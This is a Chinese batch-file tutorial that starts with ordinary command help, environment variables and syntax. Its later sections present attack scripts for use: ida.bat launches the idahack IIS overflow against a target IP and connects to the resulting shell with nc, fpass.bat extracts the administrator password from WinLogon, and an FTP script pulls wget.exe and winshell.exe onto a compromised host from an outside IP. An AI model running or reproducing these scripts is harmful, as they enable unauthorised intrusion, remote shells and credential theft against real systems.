4. 
简单批处理文件概念 
5. 
附件1 tmp.txt 
6. 
附件2 sample.bat 

###################################################################### 
1. 
所有内置命令的帮助信息 
###################################################################### 
ver 
cmd /? 
set /? 
rem /? 
if /? 
echo /? 
goto /? 
for /? 
shift /? 
call /? 
其他需要的常用命令 
type /? 
find /? 
findstr /? 
copy /? 
______________________________________________________________________ 
下面将所有上面的帮助输出到一个文件 
echo ver >tmp.txt 
ver >>tmp.txt 
echo cmd /? >>tmp.txt 
cmd /? >>tmp.txt 
echo rem /? >>tmp.txt 
rem /? >>tmp.txt 
echo if /? >>tmp.txt 
if /? >>tmp.txt 
echo goto /? >>tmp.txt 
goto /? >>tmp.txt 
echo for /? >>tmp.txt 
for /? >>tmp.txt 
echo shift /? >>tmp.txt 
shift /? >>tmp.txt 
echo call /? >>tmp.txt 
call /? >>tmp.txt 
echo type /? >>tmp.txt 
type /? >>tmp.txt 
echo find /? >>tmp.txt 
find /? >>tmp.txt 
echo findstr /? >>tmp.txt 
findstr /? >>tmp.txt 
echo copy /? >>tmp.txt 
copy /? >>tmp.txt 
type tmp.txt 
______________________________________________________ 

###################################################################### 
2. 
环境变量的概念 
###################################################################### 
_____________________________________________________________________________ 
C:\Program Files>set 
ALLUSERSPROFILE=C:\Documents and Settings\All Users 
CommonProgramFiles=C:\Program Files\Common Files 
COMPUTERNAME=FIRST 
ComSpec=C:\WINNT\system32\cmd.exe 
NUMBER_OF_PROCESSORS=1 
OS=Windows_NT 
Os2LibPath=C:\WINNT\system32\os2\dll; 
Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM 
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH 
PROCESSOR_ARCHITECTURE=x86 
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel 
PROCESSOR_LEVEL=6 
PROCESSOR_REVISION=0605 
ProgramFiles=C:\Program Files 
PROMPT=$P$G 
SystemDrive=C: 
SystemRoot=C:\WINNT 
TEMP=C:\WINNT\TEMP 
TMP=C:\WINNT\TEMP 
USERPROFILE=C:\Documents and Settings\Default User 
windir=C:\WINNT 
_____________________________________________________________________________ 

path: 
表示可执行程序的搜索路径我的建议是你把你的程序copy  
%windir%\system32\. 
这个目录里面一般就可以自动搜索到
语法: copy mychenxu.exe %windir%\system32\. 
使用点(.) 便于一目了然 
对环境变量的引用使用(英文模式,半角)双引号 
%windir% 
变量 
%%windir%% 
二次变量引用
我们常用的还有 
%temp% 
临时文件目录 
%windir% 
系统目录 
%errorlevel% 
退出代码 

输出文件到临时文件目录里面.这样便于当前目录整洁

对有空格的参数你应该学会使用双引号(“”) 来表示比如对porgram file文件夹操作 
C:\>dir p* 
C:\ 
的目录 
2000-09-02 11:47 2,164 PDOS.DEF 
1999-01-03 00:47 <DIR> Program Files 
个文件 2,164 字节 
个目录 1,505,997,824 可用字节 

C:\>cd pro* 
C:\Program Files> 

C:\> 
C:\>cd ”Program Files” 
C:\Program Files> 


###################################################################### 
3. 
内置的特殊符号(实际使用中间注意避开
###################################################################### 
微软里面内置了下列字符不能够在创建的文件名中间使用 
con nul aux \ / | || && ^ > < * 

You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples: 
(
大意要么你使用^作为前导字符表示.或者就只有使用双引号“”
To create the variable value new&name, type: 
set varname=new^&name 

To create the variable value ”new&name”, type: 
set varname=”new&name” 

The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments. 

find ”
Pacific Rim“ < trade.txt > nwtrade.txt 
IF EXIST filename. (
del filename.) ELSE echo filename. missing 

创建一个文件 
>> 
追加到一个文件后面 
前缀字符.表示执行时本行在cmd里面不显示可以使用 echo off关闭显示 
对特殊符号( > < &)的前导字符第一个只是显示aaa 第二个输出文件bbb 
echo 123456 ^> aaa 
echo 1231231 > bbb 
() 
包含命令 
(echo aa & echo bb) 
和空格一样的缺省分隔符号
注释,表示后面为注释 
标号作用 
管道操作 
& Usage
:第一条命令 & 第二条命令 [& 第三条命令...] 
用这种方法可以同时执行多条命令,而不管命令是否执行成功 
dir c:\*.exe & dir d:\*.exe & dir e:\*.exe 
&& Usage
:第一条命令 && 第二条命令 [&& 第三条命令...] 
当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令; 
|| Usage
:第一条命令 || 第二条命令 [|| 第三条命令...] 
当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令; 

常用语法格式 
IF [NOT] ERRORLEVEL number command para1 para2 
IF [NOT] string1==string2 command para1 para2 
IF [NOT] EXIST filename command para1 para2 

IF EXIST filename command para1 para2 
IF NOT EXIST filename command para1 para2 
IF ”%1″==”" goto END 
IF ”%1″==”net” goto NET 
IF NOT ”%2″==”net” goto OTHER 
IF ERRORLEVEL 1 command para1 para2 
IF NOT ERRORLEVEL 1 command para1 para2 
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i 
FOR /F ”eol=; tokens=2,3* delims=, ” %i in (myfile.txt) do echo %i %j %k 
按照字母顺序 ijklmnopq依次取参数
eol=c - 
指一个行注释字符的结尾(就一个
skip=n - 
指在文件开始时忽略的行数。 
delims=xxx - 
指分隔符集。这个替换了空格和跳格键的默认分隔符集。 


###################################################################### 
4. 
简单批处理文件概念 
###################################################################### 

echo This is test > a.txt 
type a.txt 
echo This is test 11111 >> a.txt 
type a.txt 
echo This is test 22222 > a.txt 
type a.txt 
第二个echo是追加 
第三个echo将清空a.txt 重新创建 a.txt 

netstat -n | find ”3389″ 
这个将要列出所有连接3389的用户的ip. 

________________test.bat___________________________________________________ 
@echo please care 
echo plese care 1111 
echo plese care 2222 
echo plese care 3333 
@echo please care 
@echo plese care 1111 
@echo plese care 2222 
@echo plese care 3333 
rem 
不显示注释语句,本行显示 
@rem 
不显示注释语句,本行不显示 
@if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe) 
@if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe) 
___________________________________________________________________________ 

下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的

___________________ida.bat_________________________________________________ 
@rem ver 1.0 
@if NOT exist %windir%\system32\idahack.exe echo ”ERROR: dont find idahack.exe” 
@if NOT exist %windir%\system32\nc.exe echo ”ERROR: dont find nc.exe” 

@if ”%1″ ==”" goto USAGE 
@if NOT ”%2″ ==”" goto SP2 

tart 
@echo Now start … 
@ping %1 
@echo chinese win2k:1 sp1:2 sp2:3 
idahack.exe %1 80 1 99 >%temp%\_tmp 
@echo ”prog exit code [%errorlevel%] idahack.exe” 
@type %temp%\_tmp 
@find ”good luck ” %temp%\_tmp 
@echo ”prog exit code [%errorlevel%] find [goog luck]“ 
@if NOT errorlevel 1 nc.exe %1 99 
@goto END 

P2 
@idahack.exe %1 80 %2 99 %temp%\_tmp 
@type %temp%\_tmp 
@find ”good luck ” %temp%\_tmp 
@if NOT errorlevel 1 nc.exe %1 99 
@goto END 

:USAGE 
@echo Example: ida.bat IP 
@echo Example: ida.bat IP (2,3) 

:END 
_____________________ida.bat__END_________________________________ 

下面我们再来第二个文件.就是得到administrator的口令
大多数人说得不到.其实是自己的没有输入正确的信息

___________________________fpass.bat____________________________________________ 
@rem ver 1.0 
@if NOT exist %windir%\system32\findpass.exe echo ”ERROR: dont find findpass.exe” 
@if NOT exist %windir%\system32\pulist.exe echo ”ERROR: dont find pulist.exe” 

@echo start…. 
@echo ____________________________________ 
@if ”%1″==”" goto USAGE 
@findpass.exe %1 %2 %3 >> %temp%\_findpass.txt 
@echo ”prog exit code [%errorlevel%] findpass.exe” 

@type %temp%\_findpass.txt 
@echo ________________________________Here__pass
★★★★★★★★ 
@ipconfig /all >>%temp%\_findpass.txt 
@goto END 

:USAGE 
@pulist.exe >%temp%\_pass.txt 
@findstr.exe /i ”WINLOGON explorer internat” %temp%\_pass.txt 
@echo ”Ex
ample: fpass.bat %1 %2 %3 %4 !!!” 
@echo ”Usage: findpass.exe DomainName UserName PID-of-WinLogon” 

:END 
@echo ” fpass.bat %COMPUTERNAME% %USERNAME% administrator ” 
@echo ” fpass.bat end [%errorlevel%] !” 
_________________fpass.bat___END___________________________________________________________ 

还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win) 
依次在窗口输入下面的东西当然了也可以全部拷贝.Ctrl+V过去然后就等待吧!! 

echo open 210.64.x.4 3396>w 
echo read>>w 
echo read>>w 
echo cd winnt>>w 
echo binary>>w 
echo pwd >>w 
echo get wget.exe >>w 
echo get winshell.exe >>w 
echo get any.exe >>w 
echo quit >>w 
ftp -s:w